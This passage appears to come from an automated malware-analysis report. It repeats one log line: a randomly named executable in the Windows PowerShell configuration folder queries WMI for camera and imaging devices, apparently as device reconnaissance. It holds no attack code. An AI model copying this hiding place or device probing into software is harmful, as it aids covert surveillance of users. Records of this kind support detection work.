Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
